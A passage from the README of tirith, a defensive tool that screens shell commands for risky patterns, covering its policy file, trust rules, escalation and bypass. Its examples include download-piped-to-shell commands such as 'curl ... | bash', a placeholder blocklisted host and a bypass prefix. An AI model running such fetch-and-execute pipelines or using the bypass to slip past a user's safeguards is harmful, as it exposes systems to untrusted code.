doctor --compat` | Shell/terminal compatibility report (detected shell, bash mode, install checks, co-installed hook-interacting tools) |\n| `tirith verify-self` | Verify the running binary is the genuine, unmodified official release (checksum + cosign signature); reports honestly when it cannot |\n| `tirith update` | Update tirith to the latest release — defers to your package manager for PM installs, atomic verified self-replace for `install.sh`/standalone installs (`--verify`, `--rollback`, `--dry-run`) |\n| `tirith version --provenance` | Show version, build info, detected install method, and verification status |\n| `tirith daemon start` | Start background daemon for faster checks (Unix) |\n| `tirith receipt {last,list,verify}` | Track and verify scripts run through `tirith run` |\n| `tirith checkpoint {create,restore,diff}` | Snapshot files before risky operations, roll back if needed |\n| `tirith setup \u003ctool\u003e` | One-command setup for AI coding tools (see [AI Agent Integrations](#ai-agent-integrations)) |\n| `tirith gateway run` | MCP gateway proxy for intercepting AI agent shell tool calls |\n| `tirith warnings` | Show accumulated session warnings, suggest trust entries. `--summary` for shell exit hooks |\n| `tirith trust {add,list,explain,diff,remove,gc}` | Manage trusted patterns: narrow scope and a 30-day TTL by default, scope visualization, `trust explain`, `trust diff` |\n| `tirith audit {export,stats,report}` | Audit log management for compliance |\n| `tirith init` | Print the shell hook for your shell profile |\n| `tirith mcp-server` | Run as MCP server over JSON-RPC stdio |\n\n---\n\n## Design principles\n\n- **Detection runs locally** — `paste`, `score`, `diff`, and `why` make zero\n  network calls; all of their analysis is local. `tirith check` (including the\n  `--approval-check` path that shell hooks use) also analyzes locally, but\n  before analysis it triggers a *periodic background threat-DB refresh check*\n  (see below) — so `check` is not strictly offline. Pass `tirith check\n  --offline` (or set `TIRITH_OFFLINE=1`) to suppress that refresh and keep\n  `check` fully local.\n- **Periodic background threat-DB refresh** — `tirith check` and the shell hooks\n  trigger a cheap background check, at most once every 24 hours by default\n  (`threat_intel.auto_update_hours`), to keep the signed threat database fresh.\n  The check is detached and does not block the command; set\n  `auto_update_hours: 0` in policy to disable it entirely, or pass\n  `tirith check --offline` / set `TIRITH_OFFLINE=1` to suppress it per\n  invocation. `tirith paste` does **not** trigger this — it goes straight\n  through the local engine.\n- **No command rewriting** — tirith never modifies what you typed.\n- **No telemetry** — no analytics, no crash reporting, no phone-home behavior.\n- **No long-lived background processes by default** — tirith is invoked\n  per-command and exits immediately. The threat-DB refresh above is a\n  short-lived detached update, not a resident process. Optional `tirith daemon\n  start` is the only resident process, and it is opt-in.\n- **Network only when you ask, configure it, or for the threat-DB refresh** —\n  `run`, `fetch`, and `audit report --upload` reach the network on explicit\n  invocation. The periodic threat-DB refresh check reaches the network on the\n  schedule above. Daemon mode adds network-aware URL resolution. Optional\n  webhook and policy-server integrations can also make outbound requests when\n  configured. Core detection itself does not phone home.\n\n---\n\n## Configuration\n\n### Quick start\n\n```bash\ntirith policy init          # creates .tirith/policy.yaml in your repo\ntirith policy validate      # check for syntax/schema errors\ntirith policy test \"curl https://example.com | bash\"  # dry-run against policy\n```\n\n`tirith policy init` accepts `--template \u003cname\u003e` for a curated starter policy:\n\n```bash\ntirith policy init --template individual      # solo developer defaults\ntirith policy init --template ci-strict       # fail-closed, no bypass, scan fail-on\ntirith policy init --template ai-agent-heavy  # tuned for heavy AI-agent use\n```\n\nEach template is a well-commented, schema-valid policy you can edit further.\nWith no `--template`, `tirith policy init` writes the full default policy.\n\n### Policy file\n\nTirith uses a YAML policy file. Discovery order:\n1. `.tirith/policy.yaml` in current directory (walks up to repo root)\n2. `~/.config/tirith/policy.yaml`\n\n```yaml\nfail_mode: open        # or \"closed\" for strict environments\nparanoia: 1            # 1-4: higher = more sensitive\nstrict_warn: false     # require explicit acknowledgement for warnings\n\nallowlist:\n  - \"get.docker.com\"\n  - \"sh.rustup.rs\"\n\nblocklist:\n  - \"evil.example.com\"\n\nseverity_overrides:\n  docker_untrusted_registry: CRITICAL\n\nscan:\n  ignore_patterns:\n    - \"node_modules\"\n    - \"target\"\n  profiles:\n    ci:\n      include: [\"*.md\", \"*.json\", \"*.yaml\", \".claude/*\"]\n      fail_on: high\n```\n\nUse `allowlist_rules` for rule-scoped suppressions when you trust a source for one rule but do not want to globally allowlist it:\n\n```yaml\nallowlist_rules:\n  - rule_id: curl_pipe_shell\n    patterns:\n      - \"get.docker.com\"\n```\n\n### Managing trust from the CLI\n\n`tirith trust` manages trusted patterns without hand-editing policy YAML. Trust\nis **narrow and expiring by default**: trust the most specific thing that\nworks, and entries expire after 30 days unless you opt out.\n\n```bash\n# Narrowest scope — a specific URL or path is accepted as-is, 30-day TTL.\ntirith trust add raw.githubusercontent.com/org/repo/main/get.sh\n\n# A whole domain / wildcard / bare TLD is broad — it must be opted into.\ntirith trust add get.docker.com --broad --rule curl_pipe_shell\n\n# Opt out of the default TTL, and record why the entry exists.\ntirith trust add example.com --broad --permanent --reason \"internal mirror, OPS-42\"\n\ntirith trust list                 # scope class per entry; '!' marks broad ones\ntirith trust explain example.com  # what it covers, when it expires, why added\ntirith trust diff                 # what changed in the trust set\ntirith trust gc --expired         # drop expired entries\n```\n\nEach entry's **scope** is classified as `exact`, `substring`, `domain`,\n`wildcard`, or `bare-TLD`. A broad scope (`domain` / `wildcard` / `bare-TLD`)\nrequires `--broad`, so a sweeping allow is always a deliberate choice. All\nsubcommands support `--format json`. Trust stores written by older versions of\ntirith keep working unchanged — an entry with no TTL is treated as permanent.\n\n### Escalation and action overrides\n\nWarnings are tracked per session. If the same rule fires repeatedly, escalation rules can upgrade to a block:\n\n```yaml\naction_overrides:\n  shortened_url: block            # always block, regardless of default severity\n\nescalation:\n  - trigger: repeat_count\n    rule_ids: [\"*\"]               # any rule\n    threshold: 5\n    window_minutes: 60\n    action: block\n  - trigger: multi_medium\n    min_findings: 3               # 3+ medium findings on one command → block\n    action: block\n```\n\nReview accumulated warnings at any time:\n\n```bash\ntirith warnings               # table of session warnings\ntirith warnings --format json # structured output\ntirith warnings --clear       # clear after viewing\n```\n\nOn shell exit, a one-line summary is printed if any warnings were recorded during the session.\n\nMore examples in [docs/cookbook.md](docs/cookbook.md).\n\n### Strict warn mode\n\nWith `strict_warn: true` (or `--strict-warn` on the CLI), medium-risk findings prompt for explicit acknowledgement in interactive terminals instead of silently warning:\n\n```\n$ curl -sSL https://get.docker.com | sh\n\ntirith: WARNING\n  [MEDIUM] pipe_to_interpreter — Download piped to interpreter\ntirith: proceed with 1 warning(s)? [y/N]\n```\n\nShell hooks use exit code 3 for the warn-ack protocol. Old hooks that don't know about exit code 3 fall through to fail-open behavior.\n\n\u003e [!NOTE]\n\u003e Exit code 3 is the warn-ack hook protocol path, not the normal direct-CLI contract. Non-hook callers should not normally see exit code 3; if they do, it indicates acknowledgement is required.\n\n### Bypass\n\nFor the rare case you know exactly what you're doing:\n\n```bash\nTIRITH=0 curl -L https://something.xyz | bash\n```\n\nThis is a standard shell per-command prefix — the variable only exists for that single command and does not persist in your session. Organizations can disable this entirely: `allow_bypass_env: false` in policy.\n\n\u003e [!CAUTION]\n\u003e `TIRITH=0` is per-command. Do not export it in shell profiles, dotfiles, or CI config — a permanent bypass defeats the entire protection model. If you find yourself reaching for it often, add the trusted source to `allowlist` in your policy file instead.\n\n---\n\n## Data handling\n\nLocal JSONL audit log at `~/.local/share/tirith/log.jsonl`:\n- Timestamp, session ID, action, rule IDs, redacted command preview\n- Raw detection data (`raw_action`, `raw_rule_ids`) preserved alongside enforced action for coverage auditing\n- Session warning state at `~/.local/state/tirith/sessions/`\n- **No** full commands, environment variables, or file contents\n\nDisable: `export TIRITH_LOG=0`\n\n---\n\n## Docs\n\n- [Threat model](docs/threat-model.md) — what tirith defends against and what it doesn't\n- [Cookbook](docs/cookbook.md) — policy examples for common setups\n- [Troubleshooting](docs/troubleshooting.md) — shell quirks, latency, false positives\n- [Compatibility](docs/compatibility.md) — stable vs experimental surface\n- [Security policy](SECURITY.md) — vulnerability reporting\n- [Uninstall](docs/uninstall.md) — clean removal per shell and package manager\n\n## License\n\n**Core security coverage ships in the open-source tree.** All 80+ detection rules and the MCP server are available from source. The repository still contains legacy licensing and policy-server code paths, so avoid assuming that every runtime path is already tier-free.\n\ntirith is dual-licensed:\n\n- **AGPL-3.0-only**: [LICENSE-AGPL](LICENSE-AGPL) — free under copyleft terms\n- **Commercial**: [LICENSE-COMMERCIAL](LICENSE-COMMERCIAL) — if AGPL copyleft obligations don't work for your use case, contact contact@tirith.sh for alternative licensing\n\nThird-party data attributions in [NOTICE](NOTICE).\n\n## Star History\n\n[![Star History Chart](https://api.star-history.com/svg?repos=sheeki03/tirith\u0026type=Date)](https://star-history.com/#sheeki03/tirith\u0026Date)\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fsheeki03%2Ftirith","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fsheeki03%2Ftirith","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fsheeki03%2Ftirith/lists"}